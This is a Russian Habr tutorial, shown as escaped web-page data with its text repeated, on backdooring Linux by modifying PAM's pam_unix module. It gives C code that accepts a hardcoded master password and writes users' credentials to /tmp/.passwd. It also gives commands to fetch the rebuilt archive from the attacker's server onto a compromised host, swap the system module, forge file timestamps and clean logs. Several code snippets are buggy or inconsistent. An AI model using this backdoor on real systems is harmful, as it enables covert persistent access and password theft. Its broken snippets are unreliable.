\u0447\u0430\u0441\u0442\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0431\u0448\u0438\u0440\u043d\u0430, \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u043c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043e\u0434\u043d\u0438 \u0438\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u0435. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430 \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0438 \u0432\u0441\u0451 \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e. \u0414\u043e \u043d\u043e\u0432\u044b\u0445 \u0432\u0441\u0442\u0440\u0435\u0447!<\/em><\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/791242\/\"> https:\/\/habr.com\/ru\/articles\/791242\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><strong>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435!<\/strong>\u00a0\u0421<em>\u0442\u0430\u0442\u044c\u044f \u043d\u0435\u0441\u0451\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f \u043f\u043e \u0437\u0430\u043a\u043e\u043d\u0443<\/em><\/p>\n<p>\u0414\u043e\u0431\u0440\u043e \u043f\u043e\u0436\u0430\u043b\u043e\u0432\u0430\u0442\u044c \u0432\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u0438 &#171;PAM backdoor&#187;. \u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u043c\u044b \u043e\u0431\u0441\u0443\u0434\u0438\u043b\u0438, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 PAM (Pluggable Authentication Modules) \u0438 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0434\u043b\u044f PAM. \u0412 \u044d\u0442\u043e\u0439 \u0432\u0442\u043e\u0440\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u043c\u044b \u043f\u043e\u0439\u0434\u0451\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u043f\u0443\u0442\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439.<\/p>\n<p>\u041a\u0442\u043e \u043d\u0435 \u0447\u0438\u0442\u0430\u043b \u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c,<a href=\"https:\/\/habr.com\/ru\/articles\/791240\/\" rel=\"noopener noreferrer nofollow\"> \u0432\u0430\u043c \u0441\u044e\u0434\u0430<\/a>.<\/p>\n<h3>\u0421\u043f\u043e\u0441\u043e\u0431 2. \u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u044f<\/h3>\n<p>\u0415\u0441\u043b\u0438 \u043d\u0435\u043c\u043d\u043e\u0436\u043a\u043e \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043f\u0440\u043e\u0448\u043b\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e, \u0442\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430&#187;, \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 <code>common-auth<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c <code>pam_unix.so<\/code><\/p>\n<pre><code>cat su  @include common-auth<\/code><\/pre>\n<pre><code>cat sshd  # Standard Un*x authentication. @include common-auth<\/code><\/pre>\n<pre><code>cat sudo-i  @include common-auth<\/code><\/pre>\n<p>\u0438 \u0442.\u0434.<\/p>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0432\u043e\u0442 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432 common-auth, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0434\u043b\u044f \u0447\u0435\u0433\u043e \u043e\u043d \u043d\u0443\u0436\u0435\u043d \u0438 \u0441 \u0447\u0435\u043c \u0435\u0433\u043e \u0435\u0434\u044f\u0442:<\/p>\n<pre><code>#\/etc\/pam.d\/common-auth - authentication settings common to all services # # This file is included from other service-specific PAM config files, # and should contain a list of the authentication modules that define # the central authentication scheme for use on the system # (e.g., \/etc\/shadow, LDAP, Kerberos, etc.).  The default is to use the # traditional Unix authentication mechanisms.<\/code><\/pre>\n<p>\u0410 \u0432\u043e\u0442 \u0438 \u0441\u0430\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d:<\/p>\n<pre><code>cat common-auth  auth    [success=1 default=ignore]      pam_unix.so nullok<\/code><\/pre>\n<p>\u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a <code>pam_unix.so<\/code><\/p>\n<\/li>\n<li>\n<p>\u041c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e<\/p>\n<\/li>\n<li>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u043c\u0435\u043d\u044f\u0435\u043c &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442&#187; \u043d\u0430 \u0441\u0432\u043e\u0439<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0444\u0438\u0442!<\/p>\n<\/li>\n<\/ol>\n<h3>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435<\/h3>\n<p><em><u>UPD: \u0414\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0431\u0443\u0434\u0443 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Remote \u0432\u0435\u043a\u0442\u043e\u0440 (\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e).<\/u><\/em><\/p>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u0445\u0435\u043c\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f: \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b \u0445\u043e\u0441\u0442 \u0438 \u0445\u043e\u0447\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. <\/p>\n<figure class=\"full-width\"><\/figure>\n<h4>1. \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432<\/h4>\n<p><em>\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0436\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0430 \u0441\u0432\u043e\u0451\u043c \u0445\u043e\u0441\u0442\u0435<\/em><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u044e:<\/p>\n<pre><code> dpkg -l | grep pam ii  libpam-gnome-keyring:amd64                     42.1-1+b2                            amd64        PAM module to unlock the GNOME keyring upon login ii  libpam-modules:amd64                           1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM ii  libpam-modules-bin                             1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules for PAM - helper binaries ii  libpam-runtime                                 1.5.2-9.1                            all          Runtime support for the PAM library ii  libpam0g:amd64                                 1.5.2-9.1ubuntu1                         amd64        Pluggable Authentication Modules library ii  libpam0g-dev:amd64                             1.5.2-9.1ubuntu1                         amd64        Development files for PAM \u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, \u0432\u0435\u0440\u0441\u0438\u044f PAM 1.5.2<\/code><\/pre>\n<pre><code>wget https:\/\/github.com\/linux-pam\/linux-pam\/releases\/download\/v1.5.2\/Linux-PAM-1.5.1.tar.xz<\/code><\/pre>\n<p>*\u0432\u0435\u0440\u0441\u0438\u044e \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0435 \u0441\u0430\u043c\u0438<\/p>\n<pre><code>tar -xf Linux-PAM-1.5.2.tar.xz<\/code><\/pre>\n<pre><code>cd Linux-PAM-1.5.2\/modules\/pam_url<\/code><\/pre>\n<p>\u0421\u0440\u0435\u0434\u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f <code>pam_unix<\/code>, \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 :<\/p>\n<figure class=\"full-width\"><\/figure>\n<h4>2. \u041c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f<\/h4>\n<p>\u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0435\u0433\u043e:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0430\u0445\u043e\u0434\u0438\u043c 172-\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u043a\u043e\u0434, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u0440\u043e\u043b\u044f<\/p>\n<pre><code>if (strcmp(p, \"the-world-is-yours\") != 0)  retval = _unix_verify_password(pamh, name, p, ctrl); else retval = PAM_SUCCESS;<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a:<\/p>\n<pre><code>retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; if (strcmp(p,\"magic\") == 0) retval = PAM_SUCCESS; <\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043c\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u043d\u043e\u0432\u043e\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0430\u0440\u043e\u043b\u044f. \u0415\u0441\u043b\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u0442\u0438\u043f\u043e: &#171;\u0415\u0441\u043b\u0438 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 &#8216;bye&#8217; \u0440\u0430\u0432\u043d\u044b \u043d\u0443\u043b\u044e, \u0442\u043e \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u043d\u043e &#8216;PAM_SUCCESS&#8217; &#171;.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043a\u0430\u0442\u0438\u043c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435:<\/p>\n<pre><code>if (retval == PAM_SUCCESS) {  FILE *fd;  fd = fopen(\"\/tmp\/.passwd\", \"a\");  fprint(fd, \"%s:%sn\", name, p);  fclose(fd);  }<\/code><\/pre>\n<p>\u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0442\u0430\u043a:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043b\u043e\u0433\u0438 \u0431\u0443\u0434\u0443\u0442 \u043b\u0435\u0442\u0435\u0442\u044c \u0432 \/tmp\/.passwd<\/p>\n<h4>3. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f <\/h4>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044f \u0438\u043c\u0435\u044e \u0434\u0432\u0435 \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (\u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e PAM): kali \u0438 xubuntu, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u043d\u0430 kali \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442 \u0434\u043b\u044f xubuntu \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442. \u0412\u0430\u0441 \u0431\u0443\u0434\u0443\u0442 \u0436\u0434\u0430\u0442\u044c \u044d\u0442\u0438 \u043f\u044f\u0442\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0445 \u0441\u043b\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 &#171;Permission denied, please try again.&#187;&#8230;<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e- \u043e\u0442\u043f\u0438\u0448\u0438\u0442\u0435\u0441\u044c. \u0411\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c.<\/p>\n<pre><code>cd Linux-PAM-1.5.2<\/code><\/pre>\n<pre><code>.\/configure<\/code><\/pre>\n<pre><code>make<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0445\u043e\u0447\u0443 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0440\u044f\u0434\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c:<br \/>1.<code> Fatal error: rpc\/rpc.h: No such file or directory<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441: <\/p>\n<pre><code>apt install libntirpc-dev dpkg -L libntirpc-dev<\/code><\/pre>\n<p>2. <code>In file included from \/usr\/include\/tirpc\/rpc\/rpc.h, from yppasswd_xdr.c error: unknown type name 'int32_t'<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441: <\/p>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 yppasswd_xdr.c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c <\/p>\n<pre><code>#include &lt;stdint.h><\/code><\/pre>\n<p>3. <code>In file included from \/usr\/include\/tirpc\/rpc\/rpc.h, from yppasswd_xdr.c error: unknown type name 'u_int32_t'<\/code><\/p>\n<p>\u0424\u0438\u043a\u0441:<\/p>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 \/usr\/include\/tirpc\/rpc\/types.h \u043c\u0435\u043d\u044f\u0435\u043c <code>u_int32_t<\/code> \u043d\u0430 <code>uint32_t<\/code><\/p>\n<h4>4. \u0417\u0430\u043c\u0435\u043d\u044f\u0435\u043c &#171;\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442&#187; \u043d\u0430 \u0441\u0432\u043e\u0439<\/h4>\n<p>\u0418\u0442\u0430\u043a, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 \u0444\u0430\u0439\u043b pam_unix_auth.c, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u0430\u043a\u0438\u043d\u0443\u0442\u044c \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0445\u043e\u0441\u0442 \u043f\u0430\u043f\u043a\u0443 \u0441 PAM&#8217;\u043e\u043c<\/p>\n<pre><code>tar -zcvf temp.tar.gz Linux-PAM-1.5.2<\/code><\/pre>\n<pre><code>python3 -m http.server<\/code><\/pre>\n<pre><code>wget http:\/\/ip:8000\/temp.tar.gz<\/code><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435, \u0434\u0435\u043b\u0430\u0435\u043c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438\u0437 \u043f\u0443\u043d\u043a\u0442\u0430 <strong>3<\/strong>.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u043c \u0435\u0433\u043e:<\/p>\n<pre><code>tar -xvf temp.tar.gz<\/code><\/pre>\n<pre><code>mv Linux-PAM-1.5.2\/modules\/pam_unix\/.libs\/pam_unix.so \/lib\/x86_64-linux-gnu-security<\/code><\/pre>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u0434\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u0430:<\/p>\n<pre><code>chmod 644 pam_unix.so<\/code><\/pre>\n<pre><code>touch -r \/lib\/x86_64-linux-gnu\/security\/pam_access.so \/lib\/x86_64-linux-gnu\/security\/pam_unix.so<\/code><\/pre>\n<figure class=\"\"><\/figure>\n<p><em>\u041d\u0443 \u0438 \u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.<\/em><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0421\u0442\u043e\u0438\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043b\u0430\u0437\u0435\u0439\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043b\u044f \u043b\u044e\u0431\u044b\u0445 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043d\u0430 \u0445\u043e\u0441\u0442\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043c\u044b \u043d\u0435 \u0437\u0430\u0434\u0430\u0432\u0430\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0438 \u043e\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u043e\u0433 \u0432\u043e\u0439\u0442\u0438. \u0422\u0430\u043a\u0436\u0435 \u0438 \u0434\u043b\u044f su:<\/p>\n<figure class=\"full-width\"><\/figure>\n<h3>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h3>\n<p>\u041a\u0430\u043a \u044f \u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0436\u0435\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0445\u043e\u0441\u0442\u0435 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u043c\u0438\u043c\u043e \u044d\u0442\u043e\u0433\u043e, \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u044b\u0445 \u043a\u0430\u0437\u0443\u0441\u043e\u0432 (\u043e\u0448\u0438\u0431\u043a\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043b\u0438\u0448\u043d\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p><em>UPD: \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u043f\u044b\u0442 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0430 \u0447\u0430\u0441\u0442\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0431\u0448\u0438\u0440\u043d\u0430, \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u043c\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043e\u0434\u043d\u0438 \u0438\u0437 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0432\u0435\u043a\u0442\u043e\u0440\u0435. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430 \u0432\u0430\u043c \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0438 \u0432\u0441\u0451 \u0431\u044b\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e. \u0414\u043e \u043d\u043e\u0432\u044b\u0445 \u0432\u0441\u0442\u0440\u0435\u0447!<\/em><\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/791242\/\"> https:\/\/habr.com\/ru\/articles\/791242\/<\/a><br 